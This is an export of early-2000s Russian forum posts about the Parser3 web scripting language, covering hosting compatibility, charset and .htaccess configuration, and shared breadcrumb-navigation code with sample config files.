На h1.ru скрипты, написанные на перле, идут неплохо (на мой взгляд). Раньше у меня проблем не было - только поначалу (где-то год тому назад), пока я не убрал из своих скриптов всю дребедень, которую тамошний перл не понимает.\
\
Насчет парсера: если он там работает, то почему нельзя заставить его работать нормально? Должны быть какие-нибудь настройки... Что мешает ему работать? В чем несовместимость?\
\
Спасибо за помощь ;)."
"6618","Меня интересует, можно ли связывать их друг с другом.\
\
Типа как на PHP - include\
\
Так ват, можно ли на Parser3 таким образом, в процессе обработки скрипта вызвать php."
"6620","О чем вы вообще говорите? Речь идет не о локальной машине - у меня на win2k prof sp2 + Apache/1.3.20 (Win32) + Parser/3.0.0005 все идет прекрасно - и скрипты вызываются, и ничего не глючит. И причем здесь SSI? Я их в данном случае вообще не использовал, зачем, если есть Парсер?"
"6621","Все-таки эта бага с откусыванием низа страницы - полный бред, мне такого в кошмарном сне присниться не могло ;) Чего только на свете не бывает :)."
"6622","Надеемся, что с вашей помощью список хостеров будет продолжен."
"6623","Классно! Ребята, есть идея: неплохо бы собрать особенности разных хостингов, которые связаны с Парсером, в т.ч. бесплатных в единую базу знаний. Было бы очень полезно.\
\
Respect."
"6624","Когда писал предыдущее сообщение, еще не посмотрел раздел. В принципе, там и есть то, о чем я говорил. Но информация о траблах все равно не помешала бы - например, работает парсер 3 криво на х1.ру, можно об этом написать...\
\
Кстати, хотел бы увидеть инфу о Нодексе - хочу на нем захоститься. Там можно получить пробный акк нахаляву (2мб) - я зарегался, сегодня ночью испытаю его на прочность (если не усну)."
"6625","Если нет, то я скажу!\
\
Геморой это.\
Теперь мне понадобился Parser3 с поддержкой xml и mysql\
И не то ни другое я не могу ни как заставить работать.\
\
Мне посоветовали взять \
http://www.parser.ru/f/1/download/freebsd/parser3_1_0_0001_freebsd45R_grpunlim_cgi.tar.gz\
\
и это к сожалению все, что я знаю, и что точно работает, а все остальное там работать упрямо не хочет.\
\
Может вы мне поможете?\
\
Без xml я уж как нить проживу, хотя не хотелось бы\
А то без MySQL, - совсем худо."
"6626","Кроме как испытывать разных хостеров?\
\
Кто-нить пришлет описание, как это сделал erg - выложим."
"6627","А экспериментировать мне лень."
"6628","В одну сторону по-моему точно можно.\
Посмотри в документации описание класса file.\
Может это именно то, что тебе надо ^file::exec или ^file::cgi"
"6629","Было бы прикольно почитать о нем в метро ;).\
Если серьезно, книга могла бы прийтись кстати. Приложить к ней cd со всем инструментарием... Я бы купил ;)"
"6631","Да я не прошу лично Вас об этом писать - так, намек тем, кто имеет опыт.\
А Вам спасибо за раздел."
"6632","Не надо расстраиваться - может действительно никто не знает... Мне тоже пока никто не может помочь с этим долбаным х1 ;). И сам я себе не могу пока что помочь..."
"6633","Наверника есть те кто знает, но я как обычно предпологаю, что им впадлу объяснить, а мне в понедельник надо решаться на чем я быду все писать, вот я и маюсь. :("
"6634","...им нельзя вопрос задать? Или они тоже динамят? ;)"
"6637","Да зачем она тебе нужна? Ну разве чтобы в метро читать или на сон грядущий :))), ну или лишнюю сотню рублей потратить очень сильно хочется. (Так лучше возми pdf - распечатай и читай).\
Хотя книжки такого рода лучше всего читать за клавиатурой компа, а не в метро, чтобы сразу поробовать можно было!\
В Helpe практически всё есть и написано довольно хорошо - популярно, интересно, последовательно, довольно полно и систематизировано. Нормальный поиск есть - что ещё надо...? Те кто писал эту доку - молодцы, хорошо поработали!!! 50% вопросов на этом форуме народ задаёт потому, что лениться help почитать и сам поковыряться в коде, поэкспериментировать.\
И ещё - народ обычно книжки покупает по разным языкам программирования не из-за того, что там хелпов нет, а из-за того что по-русски лучше умеет читать, чем по ангицки! (К парсеру это не относится - всё по русски)"
"6638","Согласен - хелп написан просто здорово, живым русским языком. Читать просто приятно! Респект авторам за книжку... Как раз собираюсь ее распечатать - вот, запасся пачкой бумаги сегодня ;)\
\
Насчет метро: за компом можно читать хелп прямо с сайта, что я и делаю. Но мне часто в лом читать за компом! Потом, в метро все равно делать нечего - голова думает про скрипты, страницы, настройки... Лучше ее занять делом! Да и не только в метро - комп доступен не всегда, но время на чтение есть.\
\
И еще: принтерная распечатка - это НЕ книга! Книгу приятно держать в руках, поставить на полку ;) И 150 рублей за это не жалко, особенно если она хорошая.\
"
"6640","http://www.parser.ru/f/1/download/freebsd/parser3_1_0_0001_freebsd45R_grpunlim_cgi_xml.tar.gz\
\
И еще... Если бы почитал форум увидел-бы тред, в котором это:\
http://parser.ru/forum/?id=6487"
"6641","Видите, вы уже тоже надеетесь! :) Будем надеяться вместе. Книга о Parser стала бы украшением книжной полки..."
"6642","Вот #printenv с этого хостинга\
\
[quote]\
CHARSET=windows-1251 CHARSET_DETERMINED_BY=UserAgent CHARSET_HTTP_METHOD=http:// CHARSET_SERVER_NAME=hazadus.nodex.ru:80 CHARSET_SERVER_PORT=80 DOCUMENT_ROOT=/usr/hosting/hazadus/html HTTP_ACCEPT=image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/x-gsarcade-launch, */* HTTP_ACCEPT_ENCODING=gzip, deflate HTTP_ACCEPT_LANGUAGE=ru HTTP_CONNECTION=Keep-Alive HTTP_COOKIE=hotlog=1 HTTP_HOST=hazadus.nodex.ru HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; NetCaptor 7.0.1) PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/games:/usr/local/sbin:/usr/local/bin:/usr/X11R6/bin:/home/kuzmich/bin REMOTE_ADDR=195.190.97.159 REMOTE_PORT=1998 SCRIPT_FILENAME=/usr/hosting/hazadus/html/test.shtml SERVER_ADDR=212.119.163.4 SERVER_ADMIN=hazadus@nodex.ru SERVER_NAME=hazadus.nodex.ru SERVER_PORT=80 SERVER_SIGNATURE=<ADDRESS>Apache/1.3.26 Server at <A HREF=\"mailto:hazadus@nodex.ru\">hazadus.nodex.ru</A> Port 80</ADDRESS> SERVER_SOFTWARE=Apache/1.3.26 (Unix) AuthMySQL/2.20 mod_perl/1.25 PHP/4.2.1 mod_ssl/2.8.10 OpenSSL/0.9.6 rus/PL30.15 SOURCE_CHARSET=windows-1251 GATEWAY_INTERFACE=CGI/1.1 SERVER_PROTOCOL=HTTP/1.1 REQUEST_METHOD=GET QUERY_STRING= REQUEST_URI=/test.shtml SCRIPT_NAME=/test.shtml DATE_LOCAL=Saturday, 14-Sep-2002 21:25:31 MSD DATE_GMT=Saturday, 14-Sep-2002 17:25:31 GMT LAST_MODIFIED=Saturday, 14-Sep-2002 21:21:59 MSD DOCUMENT_URI=/test.shtml DOCUMENT_PATH_INFO= USER_NAME=hazadus DOCUMENT_NAME=test.shtml\
[/quote]"
"6643","Все такие книжки нужны для того, чтобы начанающий спец. смог ознакомить с чем-то новым для себя (начать изучать что-то совем новое с нуля). А когда ты просёк как и что делается, то тебе под рукой нужен толстый GROSSBUCH (мануал - справочник) или просто хороший (в смысле полный) help.\
\
Книжка нужна для популяризации данной технологии в широких народных массах. Для этого её следовало бы выпустить! Но я лично её бы не покупал, а если бы купил, то прочитал бы её всего один раз (за один-два вечера), а потом бы она красовалась у меня на полке (веренее пылилась)."
"6644","надеюсь ей не требуеться для функционирования дополнительные библиотеки как под маздай.\
\
Вы еще не подскажите, как в старом конфиге настроить работу с библиотекой libparser3mysql.so, а то там пусто и у меня не получается заставить его конектиться к серваку без настроек.\
\
Очень признателен.\
"
"6646","как узнать считан ли конфиг.\
\
и еще. Для версии http://www.parser.ru/f/1/download/freebsd/parser3_1_0_0001_freebsd45R_grpunlim_cgi_xml.tar.gz\
\
подойдеть вот этот конф:http://parser.ru/f/1/download/freebsd/parser3conf_20020802_unix.tar.gz\
\
Буду признателен если еще скажите имеет принципиальное значение название файла auto.p или же parser3.conf\
\
Буду признателен, а то я ни как ни могу разобраться с кодировками и mysql'ем\
\
"
"6649","libparser3mysql.so\
в поставке: http://parser.ru/f/1/download/freebsd/parser3sql_1_0_0001_freebsd45R_mysql.tar.gz\
\
если вы знаете другую для freebsd - подскажите где зять."
"6653","вот тебе ссылка :\
http://www.parser.ru/forum/?id=1239\
\
Use search !!!!!!!!!!!!!!!!!!!!!"
"6654","http://www.net-fraud.com/files/libmysqlclient.so"
"6659","Люди. Я уже не знаю че делать.\
Пишу в конфиге:\
\
$CHARSETS[\
$.windows-1251[/charsets/windows-1251.cfg]\
]\
\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
\
\
А он мне: ./parser3.conf(8): 'windows-1251' unknown charset  type: parser.runtime\
\
Файлы на месте, а не че не получаеться."
"6660","С этими parser3.conf раньше были заморочки, но если повнимательнее почитать хелп, то всё можно было решить (я сам как-то с этими кодировками целый день провозился, но всё же разобрался и всё работало - но был посути большой изврат).\
Но теперь всё это в прошлом. Зайди в раздел \"Скачать\" и скачай новую версию Parsera (parser3_3_0_0005) - update. Там этих файлов .conf теперь и в помине нет (а то раньше было аж целых два). Теперь есть ещё один auto.p, который должен лежать в каталоге рядом с парсером. Там в нём даже особо править ничего не надо. Заодно скачай новый хелп. Удачи!!!"
"6661","А иная на ValueHost.ru не работает :("
"6662","Смотри как у меня раньше было прописаано и всё работало:\
Файл parser3.conf (\"конфгурационный файл сайта\") должен лежать НЕ в корне твоего сайта, а рядом с Parser-ом. Он должен иметь примерно такой вид:\
@auto[]\
#source/client charsets\
\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
\
Другой parser3.conf (который называют \"главным конфигурационным файлом\") должен лежать в том месте, которое указано в переменной окружения HTTP_PARSER_ROOT_CONFIG.\
В нем нужно правильно указать путь в переменной $charsetsdir.\
\
Основная распространённая ошибка в том, что народ кладёт конфигурационный файл сайта (1-й parser3.conf) в корень своего сайта - что в полне логично (судя по названию). Я тоже так сразу сделал, а фиг вам! Ну я правда под NT делал (но это ничего в принципе не меняет), пока главный конфигурационный файл в папку WinNT не положил, а конфиг для сайта рядом с Парсером, ничего не получалось. Как только так сделал - сразу стало перекодировать во все сторны. А когда под винды заводишь переменную окружения надо перезагрузить систему (не перелогиниться), а то такие грабли у меня тоже были."
"6663","Я не знаю куда класть главный файл. Я кладу всего один конфиг и в папку cgi-bin, к парсеру.\
\
Я не знаю куда указывает HTTP_PARSER_ROOT_CONFIG\
И это вообче кошмар какой-то.\
\
Язык хороший. Но передо мной ставят задачи и надо их решать, а время идет, но я очень не хочу забивать на Parser3 - он мне нравиться.\
\
Но это не дело. Вот если бы мне кто помог новую версию собрать из исходников, в такую же как:\
\
http://www.parser.ru/f/1/download/freebsd/parser3_1_0_0001_freebsd45R_grpunlim_cgi_xml.tar.gz\
"
"6665","Я понимаю, что под FreeBSD!\
\
Проблема у тебя в том, что те кто предоставляют тебе хостинг не хотят пока заменить старую версию обновлённой (и права пользователям немножко по другому настроить) - это был бы самый простой вариант и для них самих, и для всех остальный пользователей. Тогда все вопросы к хостерам - бомби их письмами - требуй своё.\
\
>Я не знаю куда указывает HTTP_PARSER_ROOT_CONFIG\
А тебе это и знать не надо. И с главным конфигурационным файлом заморачиваться тоже не стоит. Пусть хостеры сами пропишут в нём все пути какие хотят (ну разумеется правильные) к разным библиотекам, драйверам баз данных, к таблицам перекодировок, заведут HTTP_PARSER_ROOT_CONFIG и запишут в неё путь, где храниться этот файл. А строку подключения к базе данных можно сделать и в файле auto.p, который лежит в корне твоего сайта.\
\
Эта контора (valuehost.ru), я посмотрел, вроде как платный хостинг предоставляет - так пусть нормально отрабатывают, те деньги которые им платят. Да и служба Support-a у них там так поразрекламирована, что грех не обратиться. Т.ч. пиши туда спрашивай. А не будешь спрашивать, так никто и не ответит. :)))"
"6667","Спросите у вашего хостера путь к этому файлу, он обязательно должен быть. ;-)\
\
Он даже есть под win32 (разумеется, под FreeBSD нужна другая версия), а в комплект поставки парсера под win32 входит [i]очень старая альфа версия[/i] (3.23.13a-alpha, аж со второго квартала 2000-ого года). P. S. У меня стоит путь к текущей версии (C:\\mysql\\lib\\opt\\libmySQL.dll)."
"6668","нужно прописать в настройках сервера путь к файлу parser3.conf, который содержит подобный код (следует использовать оригинальный файл, в котором присутствуют в том числе подобные строчки):\
[code]\
$charsetsdir[etc\\parser3.charsets]\
$CHARSETS[\
    $.koi8-r[$charsetsdir/koi8-r.cfg]\
#    $.windows-1250[$charsetsdir/windows-1250.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
#    $.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
[/code]\
\
Если этот файл (parser3.conf) лежит рядом с парсером (parser3.cgi), то достаточно прописать в файле [i].htaccess[/i] веб-пространства (а [i]не cgi-bin[/i] директории):\
[code]\
SetEnv HTTP_PARSER_ROOT_CONFIG \"parser3.conf\"\
[/code]\
\
Т. е. необходимо иметь только один [i].htaccess[/i] файл, в котором помимо информации об обработчике файлов (AddHandler ...) будет ещё и переменная HTTP_PARSER_ROOT_CONFIG."
"6669","Сервер: Apache под FreeBSD, хостинг - платный, есть возможность самому править файлы .htaccess, конфигурирование сервера через письма в Support (и пока непонятно, будут ли менять настройки под меня).\
\
по умолчанию в файле .htaccess:\
Action parsed-html /cgi-bin/parser3.cgi\
\
у меня в пределах одного хостинга = одного каталога будет работать 2-3 домена 2-ого уровня и несколько поддоменов 3-его уровня, физически они все находятся на одном уровне каталогов.\
В каждом домене/поддомене - свой каталог /cgi-bin, копировать везде один и тот же файл parser3.cgi (1.5 Мб) не хотелось бы.\
\
Возможно ли редактированием файла .htaccess указать путь до Parser3-скрипта выше корневого пространства сайтов, что-то вроде: /../../data/p/parser3.cgi ?\
Если невозможно и необходимо конфигурировать Apache - то, что можно написать в техподдержку?\
\
PS. Ответ на мой вопрос пытался найти в сообщениях форума, не нашел."
"6670","Предполагается ли в тестовом задании \"[url=\"http://www.artlebedev.ru/about/vacancy/super_coder/\"]Кодер[/url]\" использование flash?"
"6671","Там указано, кому писать чтобы получить версию 0005."
"6672","Пишу, как в документации\
\
^context[cats;\
         ^config[Черная кошка\
                 Белый кот\
                 Черная кошка\
                 Белый кот]\
		 <table>\
		  ^menu[<tr bgcolor=^color[#ffffff;#505050]>\
		          <td><font color=#0f0f0f>^item[0]</font></td>\
		        </tr>  \
			   ]\
		 </table>\
	]\
\
На это Парсер пишет: \
Unhandled Exception (Debug)\
(void) not a method or junction, can not call it\
\
Остальное все  пока работает. Почему так получается?\
"
"6673","Умный мальчик напишет - нет мол, я не буду верстать, я сразу понял что меня обманывають..."
"6675","1) вопросы не сюда, а в \"мыло\" указанное на тех страницах\
2) это нормальный минимум - порезать на страницу выданый файл"
"6676","Получается, что на parser.ru выложена документьация по 2 парсеру? Потому что там все время упоминается про ^context. Где можно тогда найти грамотную доку по 3 парсеру? Заранее спасибо"
"6678","в обратную будет все гораздо сложнее.\
\
Тут прийдется обрабатывать файл сразу парсером , а потом пхп или наоборот.\
\
В таком случае легче написать простой шаблонизатор на пхп, если ты конечно парсер используешь именно как шаблонизатор."
"6679","Ну во первых почему бы и не сюда -  к Parser-у это задание имеет непосредственное отношение, к тому-же интересует мнение не только народа из ArtLebedev Group.\
А во вторых, может быть я не тяну на эту вакансию, но мне кажется что в задании есть вещи которые нельзя выполнить теми средствами что перечислены в требованиях к соискателю."
"6680","есть каталог /about_town/ - файлы с картыми города + района, а остальное через mod_rewrite генерится(+база), так после того как создал каталог с картами начало вылазить - нет файла :(\
чем лечить?"
"6682","его нужно в исключение сделать\
\
RewriteRule ^/about_town/$ /about_town/ [R]"
"6683","и прописывай его везде"
"6684","А еще фон вверху посмотрите, тень от зеркала справа (али что-там).\
Явно же акценты на то, что есть вещи которые нельзя выполнить теми средствами что перечислены в требованиях к соискателю."
"6685","это совсем другое. представь, что в один момент произошла одновременная регистрация двух или более пользователей. баг."
"6686","чтобы узнать, считан ли конфиг - создай там переменную\
\
и потом просто выведи её. если пусто - значит не считан.\
\
auto.p - это специфичный конфиг для каждого каталога. conf обычно является главным."
"6688","[L]"
"6689","И из-за таких путаниц провайтеры и не любят ставить поддержку mod_rewrite\
\
Но по моему у тебя подход неверный...\
\
Мне кажется, что тут надо в RewriteCond проверку -d делать... Однако ввиду того, что я не понял условий задачи я не даю никакие советы... Тыкать пальцем в небо незачем. IMHO"
"6690","возможно. По-моему исключения лучше вообще не делать."
"6691","На мой взгляд, зачем мусорить форум подобными сообщениями, это не форум обсуждения кадровых вопросов Design.ru, а форум разработчиков на Parser'e. Если у Вас возникли вопросы так задавайте\
их куда положено."
"6692","и попросить прописать тебе ScriptAlias для всех виртуальных хостов в единое место - заморочек будет минимум, да и для саппорта задача тривиальная."
"6693","Если поставлена бинарная версия (а не собрана из исходников) или \"кривовато\" собрана - не факт, что есть - сам на такое натыкался.\
Но, в любом случае, надо писать в саппорт."
"6694","Именно это я имел ввиду.\
Пользуясь чисто html можно задавать фон в ячейке background либо вставлять картинку. В gif есть бит прозрачности но не полупрозрачности, а именно он нужен. В png есть, но этот формат использовать рано в силу его несовместимости со старыми броузерами."
"6695","В том и фишка, что надо применить голову и знать матчасть.\
К сожалению, больше сказать не могу - не этично, но, бьюсь об заклад, когда догадаетесь, как это реализуется, воскрикните: \"Это же так очевидно!\".\
Ну, все, хватит посказок ;-)"
"6698","ты прав. :-)"
"6700","пробовал, не помогает"
"6701","Попробую.\
А по другому - никак?"
"6703","Оказывается, метод postprocess очень удобная штука для многих вещей, например для дальнейшей оптимизации кода:\
[code]\
#######\
@postprocess[buffer][t]\
$buffer[^buffer.normalize[]]\
\
$buffer[^buffer.match[(<(pre?) ...>?)(.+?)<\\/\\2>][ig]{<pre ...>$t[$match.3]$t[^t.match[\\t][g]{[tab]}]$t[^t.match[\\n\\n][g]{[p/]}]$t[^t.match[\\n][g]{[br]}]$t</pre>}]\
\
$buffer[^buffer.match[\\t][g]{}]\
$buffer[^buffer.match[\\n][g]{}]\
\
$buffer[^buffer.match[\\[tab\\]][g]{	}]\
$buffer[^buffer.match[\\[p\\/\\]][g]{<p/>}]\
$buffer[^buffer.match[\\[br\\]][g]{<br/>}]\
\
^taint[as-is][$buffer]\
[/code]\
этот метод убирает из кода все переводы строк и табуляторы, однако он оставляет табуляторы внутри элементов <pre> и также внутри этих элементов производит замену \\n\\n на <p/> и \\n на <br/>"
"6704","[code]\
$buffer[^buffer.match[\\t][g]{}]\
$buffer[^buffer.match[\\n][g]{}]\
[/code]\
\
==>\
\
[code]\
$buffer[^buffer.match[\\t|\\n][g]{}]\
[/code]\
\
и когда меняешь [tab], [p], [br] - то лучше все таки replace...\
\
:)"
"6705","пока только так :(\
админ уже сделан инвалидом за приколы с кривыми либами\
а \"наложение\" не произойдет, в эту таблицу только один чел может запись делать.\
"
"6706","Пишит такую лабудень:\
[code]\
Unhandled Exception (Debug)\
failed: Message not accepted by server\
send\
\
/home/inboard/www/classes/AddUser.p(50)\
exception.type=smtp.execute \
[/code]\
\
Как бороться?"
"6707","Я на линуксе сайты смотрю.\
Там нет ИЕ и не будет..."
"6708","А енто что такое?\
[code]\
$.prog1[/usr/sbin/sendmail]\
[/code]\
И с чем его едят?\
\
Мысли по поводу предыдущего сабжа:\
 Может ошибка из за того, что сервер не хотит от левого чела писма слать?"
"6710","IMHO в ту сторону копать надо."
"6711","это я в качестве примера привел, Миша а почему мне весь форум на мейл перестал ходить? Я проверял настройки, галочка в нужном месте стоит, но форум не ходит :("
"6712","многие почтовые серверы не разрешают отправку писем от имени несуществующего аккаунта."
"6713","ПАФ уже исправил, жду пока админы его скомпилят и поставят :)"
"6714","надо вам Мортейн купить, - он против багов и предназначен."
"6715","Прошу помочь (идеей, советом, кодом...) вот с чем.\
Допустим, некий сайт имеет следующую структуру.\
\
ООО \"ЖЖЖ\"                   /\
   О Компании               /company/\
   Услуги                   /services/\
      Прайс-лист            /services/pricelist/\
      Хостинг               /services/hosting/\
           Бесплатный       /services/hosting/free/\
           Платный          /services/hosting/forfee/\
   Помощь                   /help/\
      FAQ                   /help/faq/\
      Docs                  /help/docs/\
   Downloads                /downloads/\
      Windows               /downloads/windows/\
           blah-blah        /downloads/windows/blah-blah/\
      FreeBSD               /downloads/freebsd/\
           yip-yip          /downloads/freebsd/yip-yip/\
и т.д. и т.п.\
\
Что нужно: автоматизировать показ строки текущего положения на сайте, типа\
ООО \"ЖЖЖ\" / Услуги / Хостинг / Бесплатный - для быстрого перехода и ориентации... Хотелось бы, чтобы данные парсились как-нибудь из REQUEST_URI.\
\
Коллеги, помогите новичку в парсер 3 ;)\
Заранее благодарен за все советы."
"6716","При добавлении сообщения пропали все отступы и получилась мешанина... Извините, не хотел. ;)"
"6718","p^2, я так пологаю, это parser 2.0? На его сайт ни разу не лазал... Но спасибо за совет - посмотрю сейчас."
"6719","Там все слишком просто.\
Это подходит для сайта с \"мелкой\" структурой директорий-разделов.\
А как мне парсить, скажем, /services/hosting/free - не хранить же мне в таблице полный путь к каждой директории вместе с ее названием... это криво и неудобно. Наверняка ведь кто-то с этим сталкивался."
"6720","вообще-то есть способ соединиться с MSSQL под unix, и у нас есть наработка/заготовка. \
\
если кому такое нужно, готов выдать наработку + помочь в написании драйвера."
"6721","пара вводных слов написана в документации по исходным кодам.\
\
конкретнее?"
"6722","тайны в этом никакой нет.\
и стоит там parser2.\
\
parser3 с русским апачем не сотрудничает, если нужно, нужно делать всё самому. если очень нужно, вполне можно проверить в auto.p в @auto проверить $env:HTTP_USER_AGENT и выбрать кодировку windows-1251-translit.cfg\
\
такую кодировку несложно сделать из имеющегося файла, заменив в первой колонке русские буквы на латинские. конечно, это не даст 'sh', 'ch', но если нужно \"что-то\", сделать можно.\
\
эта задача у меня неприоритетна."
"6723","[code]\
^string:sql{select last_insert_id()}\
[/code]"
"6724","http://www.egoroff.spb.ru/\
Лезь в портфель (?) и с самого начала - с П2 попереводить придется.\
Сие не страшно - алгоритм прост и понятен.\
Там еще есть интересное и полезное на П3. \"Потряси\" egr немного - он одно время обещал тилковый пример сайта сбацать. Забыл, может некогда просто :)"
"6725","Спасибо большое, сейчас изучу ваш линк...\
Трясти egr не буду, т.к. лично не знаком, а трясьти незнакомцев - некультурно;)."
"6726","http://www.egoroff.spb.ru/portfolio/file_2.html - здесь искомая программа. Но я никогда не работал с П2 - я третий-то только начал изучать. Буду благодарен, если намекнете, в чем ключевые отличия... Спасибо."
"6727","[code]\
$structure[^table::create{uri -> name\
/ -> OOO\
/about/ -> о компании\
/about/people/ -> сотрудники\
/catalog/ -> продукция\
/catalog/lamps/ -> лампочки}]\
\
$uri[^request:uri.lsplit[/]]\
^uri.menu{\
   $path[${path}$uri.piece/]\
   ^if(^structure.locate[uri;$path]){\
      <a href=\"$catalog.uri\">$catalog.name</a>\
   }{\
      ^throw[bad.uri;uri match;may be 404]\
   }\
}\
[/code]"
"6728","Большое человеческое спасибо ;) Код выглядит работоспособным и пригодным для моих скромных нужд :)"
"6730","Писал из головы сразу в окошко.\
Но, логика правильная."
"6731","Я сверюсь со справочником; главное - идея, за нее спасибо. Неплохо бы такой пример в доки - ведь эта вещица нужна на каждом сайте, где есть десяток страниц."
"6732","Идея следующая:\
в корне лежит файл _root.cfg с главным меню (структура описана в исходниках). В директориях, где тебе нужны подразделы лежат файлы _section.cfg в которых описана структура подраздела. Вложенность не ограничена.\
\
tnavigation.p\
[code]\
## Класс TNavigation\
##\
## 1. В переменную Sroot загружается файл /_root.cfg, содержащий основное меню сайта\
##    Структура файла:\
##       uri/title/status/... [любое количество дополнительных полей]\
##     поле status может содержать одно из значений:\
##       hide   - скрыто в основном меню, \
##       admin  - только для администратора\
##	 \
## 2. Если в текущей папке находится файл _section.cfg, то грузим его в переменную $section\
##    Структура файла:\
##       uri/title/... [любое количество дополнительных полей]\
##     если в поле uri стоит знак ~, то это не ссылка, а начало новой секции\
##     если поле uri не определено, то это ссылка на текущий раздел\
## \
## 3. Методы:\
##       Init[] - инициализация переменных\
##       SecondNav[] - строит таблицу со вторичной навигацией (\"градусник\", \"хлебные крошки\") \
##                     и записывает ее в переменную secondnav.\
##                     \
##\
##\
\
@CLASS\
TNavigation\
\
## ***********************************\
##       Инициализация переменных\
## ***********************************\
@Init[]\
\
  $sitename[$env:SERVER_NAME]\
  \
## Загружаем главное меню сайта\
  $root[^table::load[/_root.cfg]]\
\
## Вычисляем количество записей\
  $rootcount(0)\
  ^root.menu{\
     ^if(def $root.status){}{\
        $rootcount($rootcount + 1)\
     }\
  }\
\
## ***********************************\
##        Вторичная навигация\
## ***********************************\
@SecondNav[][tempsection]\
\
## Инициализируем secondnav и записываем в него главную страницу\
   $self.secondnav[^table::create{uri	title}]\
   ^self.secondnav.append{/	$sitename}\
\
## Разбираем uri\
   $uri[$request:uri ]\
   $urisplit[^uri.lsplit[/]]\
   \
## Проходим по urisplit\
   ^urisplit.menu{\
     ^if((^urisplit.line[] > 1) && (^urisplit.line[] < $urisplit)){\
        ^if(^urisplit.line[] == 2){\
           ^if(^root.locate[uri;/$urisplit.piece/]){\
             ^secondnav.append{^if(^urisplit.line[] == ($urisplit - 1)){}{$root.uri}	^taint[as-is][$root.title]}\
           }         \
           $currenturi[$root.uri]\
        }{\
\
##         Если в текущей папке есть файл _section.cfg, то ищем в нем\
           ^if(-f \"${currenturi}_section.cfg\"){\
              $tempsection[^table::load[${currenturi}_section.cfg]]\
              ^if(^tempsection.locate[uri;$urisplit.piece/]){\
                 ^secondnav.append{^if(^urisplit.line[] == ($urisplit - 1)){}{${currenturi}$tempsection.uri}	^taint[as-is][$tempsection.title]}\
              }\
           }\
           $currenturi[${currenturi}$urisplit.piece/]\
\
         }\
     }\
   }   \
   \
   \
   \
@ShowSecondNav[]\
   ^SecondNav[]\
   ^secondnav.menu{\
      ^if(def $secondnav.uri){\
         <a href=\"$secondnav.uri\" class=secondnav>^secondnav.title.lower[]</a>\
      }{\
        <b>^secondnav.title.lower[]</b>\
      }\
   }[&nbsp^;>&nbsp^;]\
\
\
@ShowRoot[]\
  ^root.menu{\
    ^if(def $root.status){}{\
      ^if($root.uri eq $request:uri){\
        <a href=\"$root.uri\"><b>$root.title</b></a><br>\
      }{\
        <a href=\"$root.uri\">$root.title</a><br>\
       }\
    }  \
  }\
\
[/code]\
\
где нужно в auto.p что-то такое:\
[code]\
  $nav[^TNavigation::Init[]]\
  ^nav.ShowSecondNav[]\
[/code]"
"6733","Спасибо огромное, ребята, за поддержку!\
Я, честно говоря, не ожидал такой обильной помощи ;)\
Это здорово."
"6735","Надеюсь ты понял, что в cfg-файлах разделитель колонок не слеш, а табулятор :)"
"6736","Возможно, это вообще наглость с моей стороны ;)\
Но не могли бы вы поделиться примерчиками указанных файлов? Если не затруднит...\
\
Еще раз спасибо, друзья."
"6738","Конечно понял, я ж не совсем тупой ;) - просто начал изучать Парсер 3 пару дней назад (раньше про него даже не слышал)."
"6739","вот пример реальных файлов с сайта http://ecomtech.ru\
\
_root.cfg\
[code]\
uri	title	status	image	aimage\
/about/	О компании\
/dust-cart/	Мусоровозы\
/harvest-machines/	Уборочная техника\
/water-treatment/	Очистка воды\
/others/	Прочее оборудование\
/price/	Цены\
/contacts/	Контакты\
\
/law/	Правовая информация	hide\
/info/	Информация о сервере	hide\
\
/admin/	Администрирование сайта	admin\
[/code]\
\
_section.cfg\
[code]\
uri	title\
eco-press/	Мусоровозы с&nbsp;уплотнителем <nobr>&laquo;Эко-пресс&raquo;</nobr>\
back-loading/	Мусоровозы с&nbsp;задней загрузкой кузова\
container/	Контейнерные мусоровозы\
manipulator/	Мусоровозы с&nbsp;манипулятором\
havy-manipulator/	Большегрузные мусоровозы с&nbsp;манипулятором\
[/code]"
"6740","Все, пошел пробовать Ваш код на практике. Сейчас я заставлю его поработать на меня;)"
"6742",";)"
"6743","Ludi, pomogite! Nado tablitsu iz txt gruzit`, a zatam perevorachivat` i vivodit` na stranitsu s kontsa (reverse order)"
"6744","Считай таблицу из текстового файла, добавь еще одну колонку с номерами полей (если такой еще нет). Отсортируй таблицу по этой колонке в обратном порядке и выводи через menu."
"6745","идея _root.cfg + many _sections.cfg там была отработана? и сейчас есть на www.m-radio.ru\
вообщем - поиск рулит\
или ;) STFF(Search This Fun Forum)"
"6746","делаю, просто времени много надо, поэтому пока не готово. Я в качестве примера просто код своего сайта (новой версии выложу) с активным использованием XML выложу.\
\
Про строку навигации хочу сказать следующее:\
\
1. Вариант с таблицей соответствий uri разделов их названиям действительно не очень удобен для больших сайтов с глубокой иерархией разделов и подходит только для маленьких сайтов.\
\
2. Для этого лучше использовать формирование древовидного XML разделов сайта с последующим формированием из него строки навигации, я даже привел маленький пример как это делать - http://www.egoroff.spb.ru/portfolio/file_10.html\
\
3. Информация о разделах для формирования этого древовидного XML хранится в БД в таблице со структурой очень похожую на ту что описана в примере Миши про построение деревьев http://parser.ru/examples/trees/ вообще этот пример нуждается в очень серъёзной проработке ибо там есть очень много полезного, как и в примере Сержа Золотухина http://serge.design.ru/article/?2002-06-14\
\
В принципе я всё сказал о том как делать и где брать помощь, - остается немного подумать :)."
"6749","Никто не издевается. Я попал на эту страницу случайно, прочитал, что тут пишут и за 6 часов всё разрезал нафиг. Всё реализуемо. Сам  проверял."
"6750","смотря для каких задач..."
"6751","Hi vsem...\
U menya takoy vopros : mozhno li parser ustanovit pod IIS bez lishnih konfiguratsiy na server'e? Est li vozmozhnost sdelat eto, s pomoschyu kakogo libo .htaccess, ili kak tam eto nazivaetsa v IIS? Ya rabotayu pod Apache, a hosting, dlya kotorogo ya delayu site - Win2000... Vot ya i zadumalsya - u sebya ya proboval i IIS i Apache - v IIS nado  nastraivat cherez Console, a v Apache vse raboatet cherez .htaccess... A esli na server'e admin'i ne zahotyat koviryat nasroyki? Est-li kakoy nibud vihod?"
